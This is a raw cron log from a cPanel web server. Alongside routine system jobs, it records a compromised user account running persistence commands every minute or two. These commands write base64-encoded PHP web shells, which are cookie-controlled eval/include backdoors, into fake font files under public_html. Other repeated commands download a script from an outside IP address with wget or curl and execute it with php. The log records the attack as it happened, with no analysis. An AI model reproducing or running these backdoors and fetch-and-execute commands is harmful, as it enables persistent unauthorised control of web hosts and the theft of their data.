Sep  2 19:54:01 ip-184-168-122-23 CROND[4586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:54:01 ip-184-168-122-23 CROND[4587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:54:01 ip-184-168-122-23 CROND[4588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:55:01 ip-184-168-122-23 CROND[4690]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:55:01 ip-184-168-122-23 CROND[4692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:55:01 ip-184-168-122-23 CROND[4695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:55:01 ip-184-168-122-23 CROND[4694]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:55:01 ip-184-168-122-23 CROND[4693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:55:01 ip-184-168-122-23 CROND[4696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:56:02 ip-184-168-122-23 CROND[4783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:56:02 ip-184-168-122-23 CROND[4785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:56:02 ip-184-168-122-23 CROND[4787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:56:02 ip-184-168-122-23 CROND[4786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:56:02 ip-184-168-122-23 CROND[4788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:57:01 ip-184-168-122-23 CROND[4866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:57:01 ip-184-168-122-23 CROND[4869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:57:01 ip-184-168-122-23 CROND[4868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:57:01 ip-184-168-122-23 CROND[4870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:58:01 ip-184-168-122-23 CROND[4959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:58:01 ip-184-168-122-23 CROND[4961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:58:01 ip-184-168-122-23 CROND[4962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:58:01 ip-184-168-122-23 CROND[4963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:58:01 ip-184-168-122-23 CROND[4964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:59:01 ip-184-168-122-23 CROND[5125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:59:01 ip-184-168-122-23 CROND[5126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:59:01 ip-184-168-122-23 CROND[5127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:59:01 ip-184-168-122-23 CROND[5128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:00:01 ip-184-168-122-23 CROND[5215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:00:01 ip-184-168-122-23 CROND[5218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:00:01 ip-184-168-122-23 CROND[5220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:00:01 ip-184-168-122-23 CROND[5221]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 20:00:01 ip-184-168-122-23 CROND[5223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:00:01 ip-184-168-122-23 CROND[5227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:00:01 ip-184-168-122-23 CROND[5228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:00:01 ip-184-168-122-23 CROND[5226]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:00:01 ip-184-168-122-23 CROND[5229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:01:01 ip-184-168-122-23 CROND[5322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:01:01 ip-184-168-122-23 CROND[5323]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 20:01:01 ip-184-168-122-23 CROND[5326]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 20:01:01 ip-184-168-122-23 CROND[5329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:01:01 ip-184-168-122-23 CROND[5328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:01:01 ip-184-168-122-23 CROND[5330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5326]: starting 0anacron
Sep  2 20:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5343]: finished 0anacron
Sep  2 20:02:01 ip-184-168-122-23 CROND[5421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:02:01 ip-184-168-122-23 CROND[5422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:02:01 ip-184-168-122-23 CROND[5424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:02:01 ip-184-168-122-23 CROND[5420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:02:01 ip-184-168-122-23 CROND[5423]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:03:01 ip-184-168-122-23 CROND[5514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:03:01 ip-184-168-122-23 CROND[5515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:03:01 ip-184-168-122-23 CROND[5521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:03:01 ip-184-168-122-23 CROND[5520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:04:01 ip-184-168-122-23 CROND[5600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:04:01 ip-184-168-122-23 CROND[5603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:04:01 ip-184-168-122-23 CROND[5602]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:04:01 ip-184-168-122-23 CROND[5604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:04:01 ip-184-168-122-23 CROND[5605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:05:01 ip-184-168-122-23 CROND[5687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:05:01 ip-184-168-122-23 CROND[5688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:05:01 ip-184-168-122-23 CROND[5693]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:05:01 ip-184-168-122-23 CROND[5691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:05:01 ip-184-168-122-23 CROND[5694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:05:01 ip-184-168-122-23 CROND[5692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:05:01 ip-184-168-122-23 CROND[5696]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 20:06:01 ip-184-168-122-23 CROND[5776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
